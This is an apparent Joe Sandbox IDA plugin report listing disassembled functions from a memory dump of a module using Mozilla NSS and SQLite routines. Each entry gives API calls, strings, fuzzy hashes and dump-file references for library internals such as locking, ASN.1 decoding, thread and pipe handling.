Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$Alloc_K11_NextSafeUtilmalloc
String ID:
API String ID: 1593870348-0
Opcode ID: d56ea133461611c670d76684a571b6fb674ded0f4211782f8e1e3cd6b5e3fd99
Instruction ID: 37168514bf012f9ad17c1ef2f9becdd0ce8179f48906c2303c168da202dccd7f
Opcode Fuzzy Hash: d56ea133461611c670d76684a571b6fb674ded0f4211782f8e1e3cd6b5e3fd99
Instruction Fuzzy Hash: CD512EB4A05796CFDB00DF69C98456ABBF0BF89314F10896AD899DB701EB30E844CB91

Function 6C65A6F0 Relevance: 12.1, APIs: 8, Instructions: 117threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C609890: TlsGetValue.KERNEL32(?,?,?,6C6097EB), ref: 6C60989E

EnterCriticalSection.KERNEL32(?), ref: 6C65A712
_PR_MD_UNLOCK.NSS3(?), ref: 6C65A76D

Part of subcall function 6C6070F0: LeaveCriticalSection.KERNEL32(6C650C7B), ref: 6C60710D

calloc.MOZGLUE(00000001,0000000C), ref: 6C65A779
_PR_CreateThread.NSS3(00000000,6C659EA0,?,00000001,00000001,00000000,?,00000000), ref: 6C65A79B
free.MOZGLUE(00000000), ref: 6C65A7AB
EnterCriticalSection.KERNEL32(?), ref: 6C65A7C5
_PR_MD_NOTIFY_CV.NSS3(?), ref: 6C65A7FC
_PR_MD_UNLOCK.NSS3(?), ref: 6C65A824

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: CriticalSection$Enter$CreateLeaveThreadValuecallocfree
String ID:
API String ID: 3459369588-0
Opcode ID: c10b81b6a4a02cf2514c0b4b6c9b13fa509001edb44b13b2478400ddd94e0925
Instruction ID: 4fcab132979d5292e6964ec5133a49ffc53dcb4076e31b0cd07d7e7d795f185d
Opcode Fuzzy Hash: c10b81b6a4a02cf2514c0b4b6c9b13fa509001edb44b13b2478400ddd94e0925
Instruction Fuzzy Hash: 2C416DB59007029FC714DF25C88496BB7F9FF45308B248A29D85AD7B12E731E855CBA8

Function 6C5888E0 Relevance: 12.1, APIs: 8, Instructions: 112COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C5888FC

Part of subcall function 6C59BE30: SECOID_FindOID_Util.NSS3(6C55311B,00000000,?,6C55311B,?), ref: 6C59BE44

PORT_NewArena_Util.NSS3(00000800), ref: 6C588913

Part of subcall function 6C5A0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C5487ED,00000800,6C53EF74,00000000), ref: 6C5A1000
Part of subcall function 6C5A0FF0: PR_NewLock.NSS3(?,00000800,6C53EF74,00000000), ref: 6C5A1016
Part of subcall function 6C5A0FF0: PL_InitArenaPool.NSS3(00000000,security,6C5487ED,00000008,?,00000800,6C53EF74,00000000), ref: 6C5A102B

SEC_ASN1DecodeItem_Util.NSS3(00000000,?,6C66D864,?), ref: 6C588947

Part of subcall function 6C59E200: PR_SetError.NSS3(FFFFE009,00000000), ref: 6C59E245
Part of subcall function 6C59E200: PORT_FreeArena_Util.NSS3(00000000,00000001), ref: 6C59E254

SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6C58895B
DER_GetInteger_Util.NSS3(?), ref: 6C588973
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C588982
SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C5889EC
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C588A12

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Util$Arena_Tag_$AlgorithmErrorFindFree$ArenaDecodeInitInteger_Item_LockPoolcalloc
String ID:
API String ID: 2145430656-0
Opcode ID: c8527488f7b8dc2420263d7abdd62573f2812e9ddc2025d994a1bc24f5b65fc2
Instruction ID: cf45291185a2947513425558d8bb056a918897cc33ddecddf90f9c20c92d0f0e
Opcode Fuzzy Hash: c8527488f7b8dc2420263d7abdd62573f2812e9ddc2025d994a1bc24f5b65fc2
Instruction Fuzzy Hash: 53316BB1A06664D3F7209639AC417AE3299DFD132CF240B37D919D7B81FB35C84A8293

Function 6C5866B0 Relevance: 12.1, APIs: 8, Instructions: 109stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00000010,00000000), ref: 6C5866D0
realloc.MOZGLUE(?,?,?,?,?,00000010,00000000), ref: 6C5866FB

Part of subcall function 6C5A4540: PORT_ZAlloc_Util.NSS3(00000001,?,-00000001,-00000001,?,6C586725,?,00000022,?,?,?,?,?,00000010,00000000), ref: 6C5A4581

memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,00000010,00000000), ref: 6C58673A
memcpy.VCRUNTIME140(00000001,00000000,-00000001,?,?,?,?,?,?,?,?,?,?,00000010,00000000), ref: 6C586757
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000010,00000000), ref: 6C58676E
memcpy.VCRUNTIME140(6C57C79F,?,?,?,?,?,00000010,00000000), ref: 6C586781
memcpy.VCRUNTIME140(00000001,?,-00000001,?,?,?,?,?,?,00000010,00000000), ref: 6C58679D
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,00000010,00000000), ref: 6C5867BC

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: memcpy$Alloc_ErrorUtilfreereallocstrlen
String ID:
API String ID: 922128022-0
Opcode ID: 0ae266ca3bf4c2ea584dba91fc157e2ab699fc95758c4700ce677d37bbfa0f3c
Instruction ID: b0ed0ebcb3af64aa7bf3f2abe5a87af893877733b3fb1c47976a7cb176feb67c
Opcode Fuzzy Hash: 0ae266ca3bf4c2ea584dba91fc157e2ab699fc95758c4700ce677d37bbfa0f3c
Instruction Fuzzy Hash: 1F319272901319AFDF11CFA8DC459AF77B8AF96314F140429E854DB340EB32A929C7E6

Function 6C53AB70 Relevance: 12.1, APIs: 8, Instructions: 104pipeCOMMON

Download Yara Rule

APIs

CreatePipe.KERNEL32(?,?,?,00000000), ref: 6C53ABAF
GetLastError.KERNEL32 ref: 6C53AC44
PR_SetError.NSS3(FFFFE896,00000000), ref: 6C53AC50

Part of subcall function 6C5EC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C5EC2BF

PR_SetError.NSS3(FFFFE890,00000000), ref: 6C53AC62
CloseHandle.KERNEL32(?), ref: 6C53AC75
CloseHandle.KERNEL32(?), ref: 6C53AC7A

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Error$CloseHandle$CreateLastPipeValue
String ID:
API String ID: 4247729451-0
Opcode ID: 74fb93620e799e19cd8545c7d3c0bb730478eb60f14139c6d93082febe74a794
Instruction ID: b11a35754d269bcf037243acafdfe177c18de02afb4e6ace0117c9dd43416474
Opcode Fuzzy Hash: 74fb93620e799e19cd8545c7d3c0bb730478eb60f14139c6d93082febe74a794
Instruction Fuzzy Hash: 0831A275A00115DFDB04DFA9CC889AEBBF4FF99304B254068E5099B360E731AC45CBA5

Function 6C564A10 Relevance: 12.1, APIs: 8, Instructions: 80COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6C565385,?,?,00000000), ref: 6C564A29
EnterCriticalSection.KERNEL32 ref: 6C564A42
TlsGetValue.KERNEL32 ref: 6C564A5F
EnterCriticalSection.KERNEL32 ref: 6C564A78
PL_HashTableLookup.NSS3 ref: 6C564A91
PR_Unlock.NSS3 ref: 6C564A9E
PR_Now.NSS3 ref: 6C564AAD
PR_Unlock.NSS3 ref: 6C564AD2

Part of subcall function 6C5307A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C4C204A), ref: 6C5307AD
Part of subcall function 6C5307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C4C204A), ref: 6C5307CD
Part of subcall function 6C5307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C4C204A), ref: 6C5307D6
Part of subcall function 6C5307A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C4C204A), ref: 6C5307E4
Part of subcall function 6C5307A0: TlsSetValue.KERNEL32(00000000,?,6C4C204A), ref: 6C530864
Part of subcall function 6C5307A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C530880
Part of subcall function 6C5307A0: TlsSetValue.KERNEL32(00000000,?,?,6C4C204A), ref: 6C5308CB
Part of subcall function 6C5307A0: TlsGetValue.KERNEL32(?,?,6C4C204A), ref: 6C5308D7
Part of subcall function 6C5307A0: TlsGetValue.KERNEL32(?,?,6C4C204A), ref: 6C5308FB

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$HashLookupTable
String ID:
API String ID: 326028414-0
Opcode ID: a9b3b0a6268c48218567f47189cde8320bbeb22475b94fa96630d718a49a57e6
Instruction ID: 851b68a2a2f89de5ee9c0940a037bd6521ed8bec3d9070bd489d4d9103aea761
Opcode Fuzzy Hash: a9b3b0a6268c48218567f47189cde8320bbeb22475b94fa96630d718a49a57e6
Instruction Fuzzy Hash: F33149B5A00A15DFCB00EF39C48446ABBF0FF49354B058A69EC8997B10EB30E894CBD5

Function 6C564BA0 Relevance: 12.1, APIs: 8, Instructions: 80COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6C56A6A2,?,?,00000000), ref: 6C564BB9
EnterCriticalSection.KERNEL32 ref: 6C564BD2
TlsGetValue.KERNEL32 ref: 6C564BEF
EnterCriticalSection.KERNEL32 ref: 6C564C08
PL_HashTableLookup.NSS3 ref: 6C564C21
PR_Unlock.NSS3 ref: 6C564C2E
PR_Now.NSS3 ref: 6C564C3D
PR_Unlock.NSS3 ref: 6C564C62

Part of subcall function 6C5307A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C4C204A), ref: 6C5307AD
Part of subcall function 6C5307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C4C204A), ref: 6C5307CD
Part of subcall function 6C5307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C4C204A), ref: 6C5307D6
Part of subcall function 6C5307A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C4C204A), ref: 6C5307E4
Part of subcall function 6C5307A0: TlsSetValue.KERNEL32(00000000,?,6C4C204A), ref: 6C530864
Part of subcall function 6C5307A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C530880
Part of subcall function 6C5307A0: TlsSetValue.KERNEL32(00000000,?,?,6C4C204A), ref: 6C5308CB
Part of subcall function 6C5307A0: TlsGetValue.KERNEL32(?,?,6C4C204A), ref: 6C5308D7
Part of subcall function 6C5307A0: TlsGetValue.KERNEL32(?,?,6C4C204A), ref: 6C5308FB

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$HashLookupTable
String ID:
API String ID: 326028414-0
Opcode ID: a5e67324493c198ce6f7eaaa29d6bc72bb1da8faaed44a25f1a4555bae9f592d
Instruction ID: 9adb32635ef1de0ad3264853ee504cbf6c659e3b2fbbc970575a99820942bf75
Opcode Fuzzy Hash: a5e67324493c198ce6f7eaaa29d6bc72bb1da8faaed44a25f1a4555bae9f592d
Instruction Fuzzy Hash: 10314BB5A00A15DFDB00EF39C49446ABBF4FF49358B018969EC9987B10EB30E894CBD1

Function 6C650860 Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

PR_LogFlush.NSS3(00000000,00000000,?,?,6C657AE2,?,?,?,?,?,?,6C65798A), ref: 6C65086C

Part of subcall function 6C650930: EnterCriticalSection.KERNEL32(?,00000000,?,6C650C83), ref: 6C65094F
Part of subcall function 6C650930: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?,?,6C650C83), ref: 6C650974
Part of subcall function 6C650930: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C650983
Part of subcall function 6C650930: _PR_MD_UNLOCK.NSS3(?,?,6C650C83), ref: 6C65099F

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000001,00000000,00000000,?,?,6C657AE2,?,?,?,?,?,?,6C65798A), ref: 6C65087D
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,6C657AE2,?,?,?,?,?,?,6C65798A), ref: 6C650892
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,?,?,?,?,?,6C65798A), ref: 6C6508AA
free.MOZGLUE(?,00000000,00000000,?,?,6C657AE2,?,?,?,?,?,?,6C65798A), ref: 6C6508C7
free.MOZGLUE(?,00000000,00000000,?,?,6C657AE2,?,?,?,?,?,?,6C65798A), ref: 6C6508E9
free.MOZGLUE(?,6C657AE2,?,?,?,?,?,?,6C65798A), ref: 6C6508EF
PR_DestroyLock.NSS3(?,00000000,00000000,?,?,6C657AE2,?,?,?,?,?,?,6C65798A), ref: 6C65090E

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: free$__acrt_iob_func$CriticalDestroyEnterFlushLockSectionfclosefflushfwrite
String ID:
API String ID: 3145526462-0
Opcode ID: 05d913bc63b2e1378befd358740d9e3bfd57e5b468576953e691f3c3878bd3f8
Instruction ID: df2d3ad0e3026e1c83e01e3b41cc889efae28a826f58a77350256b97523b2e2c
Opcode Fuzzy Hash: 05d913bc63b2e1378befd358740d9e3bfd57e5b468576953e691f3c3878bd3f8
Instruction Fuzzy Hash: 951193B5B012519BEF009F96E8C5B4A7778AB4235CF6C1124E40697650DA31F825CBDE

Function 6C55CB60 Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 253COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE041,00000000,?,?,?,?,00000000,?,00000000,?,6C5657DF,00000000,?,00000002,6C565840,?), ref: 6C55CBB5
TlsGetValue.KERNEL32(?,?,?,?,?,?,00000000,?,00000000,?,6C5657DF,00000000,?,00000002,6C565840,?), ref: 6C55CC4A
EnterCriticalSection.KERNEL32(0000001C,?,?,?,?,?,?,00000000,?,00000000,?,6C5657DF,00000000,?,00000002,6C565840), ref: 6C55CC5E
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C55CC98
PR_Unlock.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C55CD50

Strings

@XVl, xrefs: 6C55CB6C, 6C55CD8D, 6C55CDA3

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Unlock$CriticalEnterErrorSectionValue
String ID: @XVl
API String ID: 1974170392-1880764296
Opcode ID: be49534b1ca29691badc90d5ee89d9235728daf04ecdebfab5efa4cc23351d9a
Instruction ID: 0bb9db3e00520b4b3164180274c952b066747938381e3be2101cd96c10b7976c
Opcode Fuzzy Hash: be49534b1ca29691badc90d5ee89d9235728daf04ecdebfab5efa4cc23351d9a
Instruction Fuzzy Hash: 7A918275E012189BDB00DFA9EC81A9EBBB5FF49318F940126E815AB711E731FC25CB91

Function 6C4C4F60 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 211stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C4C4FC4
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,0002996C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C4C51BB

Strings

%s at line %d of [%.10s], xrefs: 6C4C51B4
misuse, xrefs: 6C4C51AF
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C4C51A5
unable to delete/modify user-function due to active statements, xrefs: 6C4C51DF

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: sqlite3_logstrlen
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify user-function due to active statements
API String ID: 3619038524-4115156624
Opcode ID: 6988e874e53bb3d7619cc81f62218ff88428d45442c4fc145476d7f38361a6fb
Instruction ID: cf80e49f54f0c99cca15442c8162a53c7ba2138840797d649c0cffd6abc27585
Opcode Fuzzy Hash: 6988e874e53bb3d7619cc81f62218ff88428d45442c4fc145476d7f38361a6fb
Instruction Fuzzy Hash: 9A71AC79B042099BEB00CE16CD80FAE77B5BB48349F044528ED19DBBA1D731E851DBA2

Function 6C4DA630 Relevance: 10.7, APIs: 7, Instructions: 192COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,00000000,6C6A1308,?,?,6C4D6ABD,00000000), ref: 6C4DA6B7
LeaveCriticalSection.KERNEL32(?), ref: 6C4DA70A
EnterCriticalSection.KERNEL32(?,00000000,6C6A1308,?,?,6C4D6ABD,00000000), ref: 6C4DA73A
LeaveCriticalSection.KERNEL32(?), ref: 6C4DA78D
EnterCriticalSection.KERNEL32(?,00000000,6C6A1308,?,?,6C4D6ABD,00000000), ref: 6C4DA7CA
LeaveCriticalSection.KERNEL32(?), ref: 6C4DA821
sqlite3_free.NSS3(?,00000000,6C6A1308,?,?,6C4D6ABD,00000000), ref: 6C4DA8A6

Part of subcall function 6C4C9EE0: EnterCriticalSection.KERNEL32(?,?,?,?,6C4DC6FD,?,?,?,?,6C52F965,00000000), ref: 6C4C9F0E
Part of subcall function 6C4C9EE0: LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6C52F965,00000000), ref: 6C4C9F5D

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: CriticalSection$EnterLeave$sqlite3_free
String ID:
API String ID: 1407842778-0
Opcode ID: cbc3c89e42f31e6570c830f5d65cbb804bde23191546a57861e7d205775bec52
Instruction ID: d6a94654c4563efc145e4d5a4370ac425e97bee69e75f230b1f3a627ee554dd7
Opcode Fuzzy Hash: cbc3c89e42f31e6570c830f5d65cbb804bde23191546a57861e7d205775bec52
Instruction Fuzzy Hash: FB617C35A00101DBDB08EF62E9E9E2A7371BF86315F19012DE80647B40DB39F893DB96

Function 6C5B29E0 Relevance: 10.7, APIs: 7, Instructions: 181COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE002,00000000,00000000,00000000,?,?,6C5B21DD,00000000), ref: 6C5B2A47
SEC_ASN1EncodeInteger_Util.NSS3(?,6C5B21DD,00000002,00000000,00000000,?,?,6C5B21DD,00000000), ref: 6C5B2A60
SECOID_FindOIDByTag_Util.NSS3(00000000,?,?,?,?,00000000,00000000,?,?,6C5B21DD,00000000), ref: 6C5B2A8E
PK11_KeyGen.NSS3(00000000,?,00000000,83F089CA,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C5B2AE9
PORT_ArenaMark_Util.NSS3(00000000), ref: 6C5B2B0D
PK11_FreeSymKey.NSS3(?), ref: 6C5B2B7B
PK11_FreeSymKey.NSS3(?), ref: 6C5B2BD6

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: K11_Util$Free$ArenaEncodeErrorFindInteger_Mark_Tag_
String ID:
API String ID: 1625981074-0
Opcode ID: cf972ce6b9cb9e67fac66aff44aad73d673f4d1ab5e9c488cb30521d2c384ddb
Instruction ID: 49821e01c536505b49610845fc368687dd0af9abde89e00051181de24bba09e0
Opcode Fuzzy Hash: cf972ce6b9cb9e67fac66aff44aad73d673f4d1ab5e9c488cb30521d2c384ddb
Instruction Fuzzy Hash: FE51F671E002069BEB10CE65DC94BAA7BB5AF8431CF150528ED19BB791EB31E905CBA1

Function 6C598B60 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 173stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C598B93
PL_strncasecmp.NSS3(?,OID.,00000004), ref: 6C598BAA
SECITEM_CopyItem_Util.NSS3(?,00000000,?), ref: 6C598D28
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C598D44
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C598D72

Strings

OID., xrefs: 6C598BA4

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

